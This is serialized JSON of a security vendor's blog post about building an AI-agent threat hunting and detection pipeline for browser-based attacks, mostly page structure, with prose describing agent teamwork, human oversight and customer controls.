trends.",{"data":15962,"content":15963,"nodeType":1003},{},[15964],{"data":15965,"content":15966,"nodeType":866},{},[15967,15972],{"data":15968,"marks":15969,"value":15971,"nodeType":865},{},[15970],{"type":961},"Agents as tools: ",{"data":15973,"marks":15974,"value":15975,"nodeType":865},{},[],"Role-segmented agents that work as a team to triage, investigate, develop hunt queries, return analyses, write detections, and review each others’ work for completeness and accuracy.",{"data":15977,"content":15978,"nodeType":1003},{},[15979],{"data":15980,"content":15981,"nodeType":866},{},[15982,15987],{"data":15983,"marks":15984,"value":15986,"nodeType":865},{},[15985],{"type":961},"Humans in the loop: ",{"data":15988,"marks":15989,"value":15990,"nodeType":865},{},[],"Human researchers who collaborate with agents to initiate hunts and tune detections.",{"data":15992,"content":15993,"nodeType":1003},{},[15994],{"data":15995,"content":15996,"nodeType":866},{},[15997,16002],{"data":15998,"marks":15999,"value":16001,"nodeType":865},{},[16000],{"type":961},"Platform controls: ",{"data":16003,"marks":16004,"value":16005,"nodeType":865},{},[],"The Push administrator-configured controls that specify how to respond to detected events like AiTM phishing, tuneable by scope, user groups, browser profiles, apps, etc.",{"data":16007,"content":16011,"nodeType":925},{"target":16008},{"sys":16009},{"id":16010,"type":922,"linkType":923},"7FY0vCBUXOt4vnudFuKALC",[],{"data":16013,"content":16014,"nodeType":1458},{},[16015],{"data":16016,"marks":16017,"value":16019,"nodeType":865},{},[16018],{"type":961},"What are the best practices for agentic threat detection?",{"data":16021,"content":16022,"nodeType":866},{},[16023,16027,16032],{"data":16024,"marks":16025,"value":16026,"nodeType":865},{},[],"To be effective, agents must specialize and focus. This is the ",{"data":16028,"marks":16029,"value":16031,"nodeType":865},{},[16030],{"type":961},"agents as tools",{"data":16033,"marks":16034,"value":16035,"nodeType":865},{},[]," concept. When we’re asking AI agents to take massive amounts of data and make a high-level decision about a signal in observed browser events, they must work as a team, finding intelligent ways to condense information without losing important context or hallucinating.",{"data":16037,"content":16038,"nodeType":866},{},[16039],{"data":16040,"marks":16041,"value":16042,"nodeType":865},{},[],"Creating a hierarchy of agent jobs — including agents to perform meta-analyses to catch mistakes and verify conclusions — makes the agents effective by giving them a manageable focus that controls the size of context windows.",{"data":16044,"content":16048,"nodeType":925},{"target":16045},{"sys":16046},{"id":16047,"type":922,"linkType":923},"3fzJCknMUmh4Z7YnhBSbsT",[],{"data":16050,"content":16051,"nodeType":866},{},[16052],{"data":16053,"marks":16054,"value":16055,"nodeType":865},{},[],"Creating an agentic workflow requires operationalizing your internal knowledge in a repeatable and trustworthy way. Sharing rich context from human discoveries is the key to getting the best results out of agents. ",{"data":16057,"content":16058,"nodeType":866},{},[16059,16063,16068],{"data":16060,"marks":16061,"value":16062,"nodeType":865},{},[],"It's vital too that the agent uses ",{"data":16064,"marks":16065,"value":16067,"nodeType":865},{},[16066],{"type":961},"privacy-preserving methods and infrastructure.",{"data":16069,"marks":16070,"value":16071,"nodeType":865},{},[]," The Push agent is designed to respect customer and user privacy while enabling high-fidelity detections. We do this by collecting broad browser metadata but storing it locally in users’ browsers and only querying that metadata during active threat hunting investigations.",{"data":16073,"content":16074,"nodeType":953},{},[],{"data":16076,"content":16077,"nodeType":963},{},[16078],{"data":16079,"marks":16080,"value":16082,"nodeType":865},{},[16081],{"type":961},"The compounding effect and how it benefits Push customers",{"data":16084,"content":16085,"nodeType":866},{},[16086],{"data":16087,"marks":16088,"value":16089,"nodeType":865},{},[],"At Push, we think about our detection capability as two learning loops with a compounding effect: An inner loop that serves as our real-time detection and response engine for known attacker techniques, and an outer loop that is the continuous learning our agents do as they hunt for new threats, analyze emerging behaviors, and create new detections. ",{"data":16091,"content":16092,"nodeType":866},{},[16093],{"data":16094,"marks":16095,"value":16096,"nodeType":865},{},[],"The outer loop feeds the inner loop, and vice versa.",{"data":16098,"content":16102,"nodeType":925},{"target":16099},{"sys":16100},{"id":16101,"type":922,"linkType":923},"1Jjqll7IIX2QRxN37gjFMH",[],{"data":16104,"content":16105,"nodeType":866},{},[16106],{"data":16107,"marks":16108,"value":16109,"nodeType":865},{},[],"Customers benefit from this approach because it means they:",{"data":16111,"content":16112,"nodeType":1049},{},[16113,16135,16145],{"data":16114,"content":16115,"nodeType":1003},{},[16116],{"data":16117,"content":16118,"nodeType":866},{},[16119,16123,16131],{"data":16120,"marks":16121,"value":16122,"nodeType":865},{},[],"Regularly receive ready-made detections against both known and emerging browser-based threats, without having to write their own detections. (Push also provides the ability to write your own ",{"data":16124,"content":16126,"nodeType":882},{"uri":16125},"/help/audience/engineering/resources/custom-detections",[16127],{"data":16128,"marks":16129,"value":16130,"nodeType":865},{},[],"custom detections",{"data":16132,"marks":16133,"value":16134,"nodeType":865},{},[],", too, for environment-specific use cases.)",{"data":16136,"content":16137,"nodeType":1003},{},[16138],{"data":16139,"content":16140,"nodeType":866},{},[16141],{"data":16142,"marks":16143,"value":16144,"nodeType":865},{},[],"Can configure Push’s response actions based on their security goals and environment. Agents act as the threat-hunting and detection engineering team; Push customers set the thresholds for how they want to respond. For example, customers can use Push controls to block all AiTM phishing attacks (or even carve out exceptions for their own incident responders to be able to visit malicious pages with just a warning), and agents continually feed new indicators into detection logic for that class of attack.",{"data":16146,"content":16147,"nodeType":1003},{},[16148],{"data":16149,"content":16150,"nodeType":866},{},[16151],{"data":16152,"marks":16153,"value":16154,"nodeType":865},{},[],"Get pre-digested and actionable intelligence from every detection, with extremely high fidelity.",{"data":16156,"content":16157,"nodeType":866},{},[16158],{"data":16159,"marks":16160,"value":16161,"nodeType":865},{},[],"This all equates to your own advanced browser threat protection, without requiring the specialized in-house expertise we’ve spent years building.",{"data":16163,"content":16164,"nodeType":866},{},[16165],{"data":16166,"marks":16167,"value":16168,"nodeType":865},{},[],"If you’re a Push customer, you already know that we regularly collaborate with security teams to identify and refine detection use cases, and assist with investigations. In the past few months alone, we’ve worked closely with teams targeted by device code phishing, and InstallFix and ClickFix campaigns, among others. ",{"data":16170,"content":16171,"nodeType":866},{},[16172],{"data":16173,"marks":16174,"value":16175,"nodeType":865},{},[],"If you’re not a customer and are curious about how Push’s agentic threat hunting and detection engineering capabilities can address your use cases, please get in touch.",{"data":16177,"content":16181,"nodeType":925},{"target":16178},{"sys":16179},{"id":16180,"type":922,"linkType":923},"607jrBjlD1vtcbkDfD04DE",[],{"data":16183,"content":16184,"nodeType":953},{},[],{"data":16186,"content":16187,"nodeType":963},{},[16188],{"data":16189,"marks":16190,"value":16192,"nodeType":865},{},[16191],{"type":961},"Learn more",{"data":16194,"content":16195,"nodeType":866},{},[16196],{"data":16197,"marks":16198,"value":2792,"nodeType":865},{},[],{"data":16200,"content":16201,"nodeType":866},{},[16202],{"data":16203,"marks":16204,"value":1718,"nodeType":865},{},[],{"data":16206,"content":16207,"nodeType":866},{},[16208,16211,16218],{"data":16209,"marks":16210,"value":1725,"nodeType":865},{},[],{"data":16212,"content":16214,"nodeType":882},{"uri":16213},"/demo",[16215],{"data":16216,"marks":16217,"value":1734,"nodeType":865},{},[],{"data":16219,"marks":16220,"value":1738,"nodeType":865},{},[],"Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline","How we built an end-to-end threat hunting and detection engineering capability at Push that uses AI agents as a force multiplier.","2026-05-12T00:00:00.000Z","can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",{"items":16226},[16227,16229],{"sys":16228,"name":11426},{"id":11425},{"sys":16230,"name":342},{"id":8410},{"items":16232},[16233],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":16234},{"url":3778},{"__typename":1788,"sys":16236,"content":16237,"title":14577,"synopsis":14578,"hashTags":59,"publishedDate":14579,"slug":14580,"tagsCollection":16798,"authorsCollection":16804},{"id":13920},{"json":16238},{"data":16239,"content":16240,"nodeType":1739},{},[16241,16247,16253,16259,16264,16267,16274,16280,16309,16315,16339,16344,16347,16354,16360,16367,16401,16406,16412,16417,16420,16427,16433,16440,16446,16452,16465,16472,16492,16498,16503,16509,16516,16529,16551,16556,16571,16576,16583,16589,16609,16615,16621,16627,16632,16635,16642,16648,16654,16669,16676,16682,16689,16708,16718,16723,16726,16733,16739,16745,16751,16767,16770,16776,16782],{"data":16242,"content":16243,"nodeType":866},{},[16244],{"data":16245,"marks":16246,"value":13931,"nodeType":865},{},[],{"data":16248,"content":16249,"nodeType":866},{},[16250],{"data":16251,"marks":16252,"value":13938,"nodeType":865},{},[],{"data":16254,"content":16255,"nodeType":866},{},[16256],{"data":16257,"marks":16258,"value":13945,"nodeType":865},{},[],{"data":16260,"content":16263,"nodeType":925},{"target":16261},{"sys":16262},{"id":13950,"type":922,"linkType":923},[],{"data":16265,"content":16266,"nodeType":953},{},[],{"data":16268,"content":16269,"nodeType":963},{},[16270],{"data":16271,"marks":16272,"value":13962,"nodeType":865},{},[16273],{"type":961},{"data":16275,"content":16276,"nodeType":866},{},[16277],{"data":16278,"marks":16279,"value":13969,"nodeType":865},{},[],{"data":16281,"content":16282,"nodeType":1049},{},[16283,16296],{"data":16284,"content":16285,"nodeType":1003},{},[16286],{"data":16287,"content":16288,"nodeType":866},{},[16289,16293],{"data":16290,"marks":16291,"value":13983,"nodeType":865},{},[16292],{"type":961},{"data":16294,"marks":16295,"value":13987,"nodeType":865},{},[],{"data":16297,"content":16298,"nodeType":1003},{},[16299],{"data":16300,"content":16301,"nodeType":866},{},[16302,16306],{"data":16303,"marks":16304,"value":13998,"nodeType":865},{},[16305],{"type":961},{"data":16307,"marks":16308,"value":14002,"nodeType":865},{},[],{"data":16310,"content":16311,"nodeType":866},{},[16312],{"data":16313,"marks":16314,"value":14009,"nodeType":865},{},[],{"data":16316,"content":16317,"nodeType":866},{},[16318,16321,16327,16330,16336],{"data":16319,"marks":16320,"value":14016,"nodeType":865},{},[],{"data":16322,"content":16323,"nodeType":882},{"uri":14019},[16324],{"data":16325,"marks":16326,"value":14024,"nodeType":865},{},[],{"data":16328,"marks":16329,"value":14028,"nodeType":865},{},[],{"data":16331,"content":16332,"nodeType":882},{"uri":14031},[16333],{"data":16334,"marks":16335,"value":14036,"nodeType":865},{},[],{"data":16337,"marks":16338,"value":10349,"nodeType":865},{},[],{"data":16340,"content":16343,"nodeType":925},{"target":16341},{"sys":16342},{"id":14044,"type":922,"linkType":923},[],{"data":16345,"content":16346,"nodeType":953},{},[],{"data":16348,"content":16349,"nodeType":963},{},[16350],{"data":16351,"marks":16352,"value":14056,"nodeType":865},{},[16353],{"type":961},{"data":16355,"content":16356,"nodeType":866},{},[16357],{"data":16358,"marks":16359,"value":14063,"nodeType":865},{},[],{"data":16361,"content":16362,"nodeType":866},{},[16363],{"data":16364,"marks":16365,"value":14071,"nodeType":865},{},[16366],{"type":961},{"data":16368,"content":16369,"nodeType":866},{},[16370,16373,16377,16380,16384,16387,16391,16394,16398],{"data":16371,"marks":16372,"value":14078,"nodeType":865},{},[],{"data":16374,"marks":16375,"value":14083,"nodeType":865},{},[16376],{"type":961},{"data":16378,"marks":16379,"value":14087,"nodeType":865},{},[],{"data":16381,"marks":16382,"value":14092,"nodeType":865},{},[16383],{"type":961},{"data":16385,"marks":16386,"value":3892,"nodeType":865},{},[],{"data":16388,"marks":16389,"value":14100,"nodeType":865},{},[16390],{"type":961},{"data":16392,"marks":16393,"value":14104,"nodeType":865},{},[],{"data":16395,"marks":16396,"value":14109,"nodeType":865},{},[16397],{"type":944},{"data":16399,"marks":16400,"value":14113,"nodeType":865},{},[],{"data":16402,"content":16405,"nodeType":925},{"target":16403},{"sys":16404},{"id":14118,"type":922,"linkType":923},[],{"data":16407,"content":16408,"nodeType":866},{},[16409],{"data":16410,"marks":16411,"value":14126,"nodeType":865},{},[],{"data":16413,"content":16416,"nodeType":925},{"target":16414},{"sys":16415},{"id":921,"type":922,"linkType":923},[],{"data":16418,"content":16419,"nodeType":953},{},[],{"data":16421,"content":16422,"nodeType":963},{},[16423],{"data":16424,"marks":16425,"value":14142,"nodeType":865},{},[16426],{"type":961},{"data":16428,"content":16429,"nodeType":866},{},[16430],{"data":16431,"marks":16432,"value":14149,"nodeType":865},{},[],{"data":16434,"content":16435,"nodeType":1458},{},[16436],{"data":16437,"marks":16438,"value":14157,"nodeType":865},{},[16439],{"type":961},{"data":16441,"content":16442,"nodeType":866},{},[16443],{"data":16444,"marks":16445,"value":14164,"nodeType":865},{},[],{"data":16447,"content":16448,"nodeType":866},{},[16449],{"data":16450,"marks":16451,"value":14171,"nodeType":865},{},[],{"data":16453,"content":16454,"nodeType":866},{},[16455,16458,16462],{"data":16456,"marks":16457,"value":14178,"nodeType":865},{},[],{"data":16459,"marks":16460,"value":14183,"nodeType":865},{},[16461],{"type":961},{"data":16463,"marks":16464,"value":14187,"nodeType":865},{},[],{"data":16466,"content":16467,"nodeType":1458},{},[16468],{"data":16469,"marks":16470,"value":14195,"nodeType":865},{},[16471],{"type":961},{"data":16473,"content":16474,"nodeType":866},{},[16475,16478,16482,16485,16489],{"data":16476,"marks":16477,"value":14202,"nodeType":865},{},[],{"data":16479,"marks":16480,"value":14207,"nodeType":865},{},[16481],{"type":961},{"data":16483,"marks":16484,"value":14211,"nodeType":865},{},[],{"data":16486,"marks":16487,"value":14216,"nodeType":865},{},[16488],{"type":961},{"data":16490,"marks":16491,"value":14220,"nodeType":865},{},[],{"data":16493,"content":16494,"nodeType":866},{},[16495],{"data":16496,"marks":16497,"value":14227,"nodeType":865},{},[],{"data":16499,"content":16502,"nodeType":925},{"target":16500},{"sys":16501},{"id":14232,"type":922,"linkType":923},[],{"data":16504,"content":16505,"nodeType":866},{},[16506],{"data":16507,"marks":16508,"value":14240,"nodeType":865},{},[],{"data":16510,"content":16511,"nodeType":1458},{},[16512],{"data":16513,"marks":16514,"value":14248,"nodeType":865},{},[16515],{"type":961},{"data":16517,"content":16518,"nodeType":866},{},[16519,16522,16526],{"data":16520,"marks":16521,"value":14255,"nodeType":865},{},[],{"data":16523,"marks":16524,"value":14092,"nodeType":865},{},[16525],{"type":961},{"data":16527,"marks":16528,"value":14263,"nodeType":865},{},[],{"data":16530,"content":16531,"nodeType":866},{},[16532,16535,16541,16544,16548],{"data":16533,"marks":16534,"value":14270,"nodeType":865},{},[],{"data":16536,"content":16537,"nodeType":882},{"uri":4136},[16538],{"data":16539,"marks":16540,"value":14277,"nodeType":865},{},[],{"data":16542,"marks":16543,"value":14281,"nodeType":865},{},[],{"data":16545,"marks":16546,"value":14286,"nodeType":865},{},[16547],{"type":961},{"data":16549,"marks":16550,"value":14290,"nodeType":865},{},[],{"data":16552,"content":16555,"nodeType":925},{"target":16553},{"sys":16554},{"id":14295,"type":922,"linkType":923},[],{"data":16557,"content":16558,"nodeType":866},{},[16559,16562,16568],{"data":16560,"marks":16561,"value":14303,"nodeType":865},{},[],{"data":16563,"content":16564,"nodeType":882},{"uri":4136},[16565],{"data":16566,"marks":16567,"value":14310,"nodeType":865},{},[],{"data":16569,"marks":16570,"value":14314,"nodeType":865},{},[],{"data":16572,"content":16575,"nodeType":925},{"target":16573},{"sys":16574},{"id":14319,"type":922,"linkType":923},[],{"data":16577,"content":16578,"nodeType":1458},{},[16579],{"data":16580,"marks":16581,"value":14328,"nodeType":865},{},[16582],{"type":961},{"data":16584,"content":16585,"nodeType":866},{},[16586],{"data":16587,"marks":16588,"value":14335,"nodeType":865},{},[],{"data":16590,"content":16591,"nodeType":866},{},[16592,16595,16599,16602,16606],{"data":16593,"marks":16594,"value":14342,"nodeType":865},{},[],{"data":16596,"marks":16597,"value":14347,"nodeType":865},{},[16598],{"type":961},{"data":16600,"marks":16601,"value":14351,"nodeType":865},{},[],{"data":16603,"marks":16604,"value":14356,"nodeType":865},{},[16605],{"type":944},{"data":16607,"marks":16608,"value":14360,"nodeType":865},{},[],{"data":16610,"content":16611,"nodeType":866},{},[16612],{"data":16613,"marks":16614,"value":14367,"nodeType":865},{},[],{"data":16616,"content":16617,"nodeType":866},{},[16618],{"data":16619,"marks":16620,"value":14374,"nodeType":865},{},[],{"data":16622,"content":16623,"nodeType":866},{},[16624],{"data":16625,"marks":16626,"value":14381,"nodeType":865},{},[],{"data":16628,"content":16631,"nodeType":925},{"target":16629},{"sys":16630},{"id":14386,"type":922,"linkType":923},[],{"data":16633,"content":16634,"nodeType":953},{},[],{"data":16636,"content":16637,"nodeType":963},{},[16638],{"data":16639,"marks":16640,"value":14398,"nodeType":865},{},[16641],{"type":961},{"data":16643,"content":16644,"nodeType":866},{},[16645],{"data":16646,"marks":16647,"value":14405,"nodeType":865},{},[],{"data":16649,"content":16650,"nodeType":866},{},[16651],{"data":16652,"marks":16653,"value":14412,"nodeType":865},{},[],{"data":16655,"content":16656,"nodeType":866},{},[16657,16660,16666],{"data":16658,"marks":16659,"value":14419,"nodeType":865},{},[],{"data":16661,"content":16662,"nodeType":882},{"uri":4378},[16663],{"data":16664,"marks":16665,"value":14426,"nodeType":865},{},[],{"data":16667,"marks":16668,"value":14430,"nodeType":865},{},[],{"data":16670,"content":16671,"nodeType":1458},{},[16672],{"data":16673,"marks":16674,"value":14438,"nodeType":865},{},[16675],{"type":961},{"data":16677,"content":16678,"nodeType":866},{},[16679],{"data":16680,"marks":16681,"value":14445,"nodeType":865},{},[],{"data":16683,"content":16684,"nodeType":866},{},[16685],{"data":16686,"marks":16687,"value":14453,"nodeType":865},{},[16688],{"type":961},{"data":16690,"content":16691,"nodeType":866},{},[16692,16696,16699,16705],{"data":16693,"marks":16694,"value":14461,"nodeType":865},{},[16695],{"type":961},{"data":16697,"marks":16698,"value":14465,"nodeType":865},{},[],{"data":16700,"content":16701,"nodeType":882},{"uri":4136},[16702],{"data":16703,"marks":16704,"value":14472,"nodeType":865},{},[],{"data":16706,"marks":16707,"value":14476,"nodeType":865},{},[],{"data":16709,"content":16710,"nodeType":866},{},[16711,16715],{"data":16712,"marks":16713,"value":14484,"nodeType":865},{},[16714],{"type":961},{"data":16716,"marks":16717,"value":14488,"nodeType":865},{},[],{"data":16719,"content":16722,"nodeType":925},{"target":16720},{"sys":16721},{"id":14493,"type":922,"linkType":923},[],{"data":16724,"content":16725,"nodeType":953},{},[],{"data":16727,"content":16728,"nodeType":963},{},[16729],{"data":16730,"marks":16731,"value":14505,"nodeType":865},{},[16732],{"type":961},{"data":16734,"content":16735,"nodeType":866},{},[16736],{"data":16737,"marks":16738,"value":14512,"nodeType":865},{},[],{"data":16740,"content":16741,"nodeType":866},{},[16742],{"data":16743,"marks":16744,"value":14519,"nodeType":865},{},[],{"data":16746,"content":16747,"nodeType":866},{},[16748],{"data":16749,"marks":16750,"value":14526,"nodeType":865},{},[],{"data":16752,"content":16753,"nodeType":866},{},[16754,16757,16764],{"data":16755,"marks":16756,"value":14533,"nodeType":865},{},[],{"data":16758,"content":16759,"nodeType":882},{"uri":14536},[16760],{"data":16761,"marks":16762,"value":580,"nodeType":865},{},[16763],{"type":997},{"data":16765,"marks":16766,"value":14545,"nodeType":865},{},[],{"data":16768,"content":16769,"nodeType":953},{},[],{"data":16771,"content":16772,"nodeType":866},{},[16773],{"data":16774,"marks":16775,"value":2792,"nodeType":865},{},[],{"data":16777,"content":16778,"nodeType":866},{},[16779],{"data":16780,"marks":16781,"value":1718,"nodeType":865},{},[],{"data":16783,"content":16784,"nodeType":866},{},[16785,16788,16795],{"data":16786,"marks":16787,"value":1725,"nodeType":865},{},[],{"data":16789,"content":16790,"nodeType":882},{"uri":1728},[16791],{"data":16792,"marks":16793,"value":1734,"nodeType":865},{},[16794],{"type":997},{"data":16796,"marks":16797,"value":1738,"nodeType":865},{},[],{"items":16799},[16800,16802],{"sys":16801,"name":2825},{"id":2824},{"sys":16803,"name":297},{"id":2828},{"items":16805},[16806],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":16807},{"url":11434},{"__typename":1788,"sys":16809,"content":16810,"title":13900,"synopsis":13901,"hashTags":59,"publishedDate":13902,"slug":13903,"tagsCollection":17479,"authorsCollection":17485},{"id":13115},{"json":16811},{"data":16812,"content":16813,"nodeType":1739},{},[16814,16820,16826,16850,16856,16861,16866,16876,16879,16886,16899,16905,16910,16916,16922,16927,16930,16937,16943,16948,16953,16959,16965,16980,16985,16988,16995,17010,17015,17021,17024,17031,17037,17043,17048,17053,17087,17093,17096,17103,17109,17115,17148,17154,17178,17184,17217,17223,17226,17233,17248,17254,17261,17274,17280,17295,17301,17304,17310,17316,17332,17335,17342,17357,17363,17473],{"data":16815,"content":16816,"nodeType":866},{},[16817],{"data":16818,"marks":16819,"value":13126,"nodeType":865},{},[],{"data":16821,"content":16822,"nodeType":866},{},[16823],{"data":16824,"marks":16825,"value":13133,"nodeType":865},{},[],{"data":16827,"content":16828,"nodeType":866},{},[16829,16832,16838,16841,16847],{"data":16830,"marks":16831,"value":13140,"nodeType":865},{},[],{"data":16833,"content":16834,"nodeType":882},{"uri":13143},[16835],{"data":16836,"marks":16837,"value":13148,"nodeType":865},{},[],{"data":16839,"marks":16840,"value":13152,"nodeType":865},{},[],{"data":16842,"content":16843,"nodeType":882},{"uri":13155},[16844],{"data":16845,"marks":16846,"value":13160,"nodeType":865},{},[],{"data":16848,"marks":16849,"value":13164,"nodeType":865},{},[],{"data":16851,"content":16852,"nodeType":866},{},[16853],{"data":16854,"marks":16855,"value":13171,"nodeType":865},{},[],{"data":16857,"content":16860,"nodeType":925},{"target":16858},{"sys":16859},{"id":13176,"type":922,"linkType":923},[],{"data":16862,"content":16865,"nodeType":925},{"target":16863},{"sys":16864},{"id":13182,"type":922,"linkType":923},[],{"data":16867,"content":16868,"nodeType":866},{},[16869,16873],{"data":16870,"marks":16871,"value":13191,"nodeType":865},{},[16872],{"type":961},{"data":16874,"marks":16875,"value":13195,"nodeType":865},{},[],{"data":16877,"content":16878,"nodeType":953},{},[],{"data":16880,"content":16881,"nodeType":963},{},[16882],{"data":16883,"marks":16884,"value":13206,"nodeType":865},{},[16885],{"type":961},{"data":16887,"content":16888,"nodeType":866},{},[16889,16892,16896],{"data":16890,"marks":16891,"value":13213,"nodeType":865},{},[],{"data":16893,"marks":16894,"value":13218,"nodeType":865},{},[16895],{"type":944},{"data":16897,"marks":16898,"value":13222,"nodeType":865},{},[],{"data":16900,"content":16901,"nodeType":866},{},[16902],{"data":16903,"marks":16904,"value":13229,"nodeType":865},{},[],{"data":16906,"content":16909,"nodeType":925},{"target":16907},{"sys":16908},{"id":13234,"type":922,"linkType":923},[],{"data":16911,"content":16912,"nodeType":866},{},[16913],{"data":16914,"marks":16915,"value":13242,"nodeType":865},{},[],{"data":16917,"content":16918,"nodeType":866},{},[16919],{"data":16920,"marks":16921,"value":13249,"nodeType":865},{},[],{"data":16923,"content":16926,"nodeType":925},{"target":16924},{"sys":16925},{"id":13254,"type":922,"linkType":923},[],{"data":16928,"content":16929,"nodeType":953},{},[],{"data":16931,"content":16932,"nodeType":963},{},[16933],{"data":16934,"marks":16935,"value":13266,"nodeType":865},{},[16936],{"type":961},{"data":16938,"content":16939,"nodeType":866},{},[16940],{"data":16941,"marks":16942,"value":13273,"nodeType":865},{},[],{"data":16944,"content":16947,"nodeType":925},{"target":16945},{"sys":16946},{"id":13278,"type":922,"linkType":923},[],{"data":16949,"content":16952,"nodeType":925},{"target":16950},{"sys":16951},{"id":13284,"type":922,"linkType":923},[],{"data":16954,"content":16955,"nodeType":866},{},[16956],{"data":16957,"marks":16958,"value":13292,"nodeType":865},{},[],{"data":16960,"content":16961,"nodeType":866},{},[16962],{"data":16963,"marks":16964,"value":13299,"nodeType":865},{},[],{"data":16966,"content":16967,"nodeType":866},{},[16968,16971,16977],{"data":16969,"marks":16970,"value":13306,"nodeType":865},{},[],{"data":16972,"content":16973,"nodeType":882},{"uri":13309},[16974],{"data":16975,"marks":16976,"value":13314,"nodeType":865},{},[],{"data":16978,"marks":16979,"value":1048,"nodeType":865},{},[],{"data":16981,"content":16984,"nodeType":925},{"target":16982},{"sys":16983},{"id":13322,"type":922,"linkType":923},[],{"data":16986,"content":16987,"nodeType":953},{},[],{"data":16989,"content":16990,"nodeType":963},{},[16991],{"data":16992,"marks":16993,"value":13334,"nodeType":865},{},[16994],{"type":961},{"data":16996,"content":16997,"nodeType":866},{},[16998,17001,17007],{"data":16999,"marks":17000,"value":13341,"nodeType":865},{},[],{"data":17002,"content":17003,"nodeType":882},{"uri":13143},[17004],{"data":17005,"marks":17006,"value":13348,"nodeType":865},{},[],{"data":17008,"marks":17009,"value":13352,"nodeType":865},{},[],{"data":17011,"content":17014,"nodeType":925},{"target":17012},{"sys":17013},{"id":13357,"type":922,"linkType":923},[],{"data":17016,"content":17017,"nodeType":866},{},[17018],{"data":17019,"marks":17020,"value":13365,"nodeType":865},{},[],{"data":17022,"content":17023,"nodeType":953},{},[],{"data":17025,"content":17026,"nodeType":963},{},[17027],{"data":17028,"marks":17029,"value":13376,"nodeType":865},{},[17030],{"type":961},{"data":17032,"content":17033,"nodeType":866},{},[17034],{"data":17035,"marks":17036,"value":13383,"nodeType":865},{},[],{"data":17038,"content":17039,"nodeType":866},{},[17040],{"data":17041,"marks":17042,"value":13390,"nodeType":865},{},[],{"data":17044,"content":17047,"nodeType":925},{"target":17045},{"sys":17046},{"id":5141,"type":922,"linkType":923},[],{"data":17049,"content":17052,"nodeType":925},{"target":17050},{"sys":17051},{"id":13400,"type":922,"linkType":923},[],{"data":17054,"content":17055,"nodeType":866},{},[17056,17059,17065,17068,17074,17077,17084],{"data":17057,"marks":17058,"value":13408,"nodeType":865},{},[],{"data":17060,"content":17061,"nodeType":882},{"uri":13411},[17062],{"data":17063,"marks":17064,"value":13416,"nodeType":865},{},[],{"data":17066,"marks":17067,"value":13420,"nodeType":865},{},[],{"data":17069,"content":17070,"nodeType":882},{"uri":5307},[17071],{"data":17072,"marks":17073,"value":13427,"nodeType":865},{},[],{"data":17075,"marks":17076,"value":8756,"nodeType":865},{},[],{"data":17078,"content":17079,"nodeType":882},{"uri":13433},[17080],{"data":17081,"marks":17082,"value":13439,"nodeType":865},{},[17083],{"type":997},{"data":17085,"marks":17086,"value":13443,"nodeType":865},{},[],{"data":17088,"content":17089,"nodeType":866},{},[17090],{"data":17091,"marks":17092,"value":13450,"nodeType":865},{},[],{"data":17094,"content":17095,"nodeType":953},{},[],{"data":17097,"content":17098,"nodeType":963},{},[17099],{"data":17100,"marks":17101,"value":13461,"nodeType":865},{},[17102],{"type":961},{"data":17104,"content":17105,"nodeType":866},{},[17106],{"data":17107,"marks":17108,"value":13468,"nodeType":865},{},[],{"data":17110,"content":17111,"nodeType":1458},{},[17112],{"data":17113,"marks":17114,"value":13475,"nodeType":865},{},[],{"data":17116,"content":17117,"nodeType":866},{},[17118,17121,17127,17130,17136,17139,17145],{"data":17119,"marks":17120,"value":13482,"nodeType":865},{},[],{"data":17122,"content":17123,"nodeType":882},{"uri":13485},[17124],{"data":17125,"marks":17126,"value":13490,"nodeType":865},{},[],{"data":17128,"marks":17129,"value":13494,"nodeType":865},{},[],{"data":17131,"content":17132,"nodeType":882},{"uri":13497},[17133],{"data":17134,"marks":17135,"value":13502,"nodeType":865},{},[],{"data":17137,"marks":17138,"value":13506,"nodeType":865},{},[],{"data":17140,"content":17141,"nodeType":882},{"uri":13509},[17142],{"data":17143,"marks":17144,"value":13514,"nodeType":865},{},[],{"data":17146,"marks":17147,"value":13518,"nodeType":865},{},[],{"data":17149,"content":17150,"nodeType":1458},{},[17151],{"data":17152,"marks":17153,"value":13525,"nodeType":865},{},[],{"data":17155,"content":17156,"nodeType":866},{},[17157,17160,17166,17169,17175],{"data":17158,"marks":17159,"value":13532,"nodeType":865},{},[],{"data":17161,"content":17162,"nodeType":882},{"uri":13535},[17163],{"data":17164,"marks":17165,"value":13540,"nodeType":865},{},[],{"data":17167,"marks":17168,"value":13544,"nodeType":865},{},[],{"data":17170,"content":17171,"nodeType":882},{"uri":13547},[17172],{"data":17173,"marks":17174,"value":13552,"nodeType":865},{},[],{"data":17176,"marks":17177,"value":13556,"nodeType":865},{},[],{"data":17179,"content":17180,"nodeType":1458},{},[17181],{"data":17182,"marks":17183,"value":13563,"nodeType":865},{},[],{"data":17185,"content":17186,"nodeType":866},{},[17187,17190,17196,17199,17205,17208,17214],{"data":17188,"marks":17189,"value":13570,"nodeType":865},{},[],{"data":17191,"content":17192,"nodeType":882},{"uri":13573},[17193],{"data":17194,"marks":17195,"value":13578,"nodeType":865},{},[],{"data":17197,"marks":17198,"value":13582,"nodeType":865},{},[],{"data":17200,"content":17201,"nodeType":882},{"uri":13585},[17202],{"data":17203,"marks":17204,"value":13590,"nodeType":865},{},[],{"data":17206,"marks":17207,"value":13594,"nodeType":865},{},[],{"data":17209,"content":17210,"nodeType":882},{"uri":13597},[17211],{"data":17212,"marks":17213,"value":13602,"nodeType":865},{},[],{"data":17215,"marks":17216,"value":13606,"nodeType":865},{},[],{"data":17218,"content":17219,"nodeType":866},{},[17220],{"data":17221,"marks":17222,"value":13613,"nodeType":865},{},[],{"data":17224,"content":17225,"nodeType":953},{},[],{"data":17227,"content":17228,"nodeType":963},{},[17229],{"data":17230,"marks":17231,"value":13624,"nodeType":865},{},[17232],{"type":961},{"data":17234,"content":17235,"nodeType":866},{},[17236,17239,17245],{"data":17237,"marks":17238,"value":13631,"nodeType":865},{},[],{"data":17240,"content":17241,"nodeType":882},{"uri":13634},[17242],{"data":17243,"marks":17244,"value":13639,"nodeType":865},{},[],{"data":17246,"marks":17247,"value":13643,"nodeType":865},{},[],{"data":17249,"content":17250,"nodeType":866},{},[17251],{"data":17252,"marks":17253,"value":13650,"nodeType":865},{},[],{"data":17255,"content":17256,"nodeType":1458},{},[17257],{"data":17258,"marks":17259,"value":13658,"nodeType":865},{},[17260],{"type":961},{"data":17262,"content":17263,"nodeType":866},{},[17264,17267,17271],{"data":17265,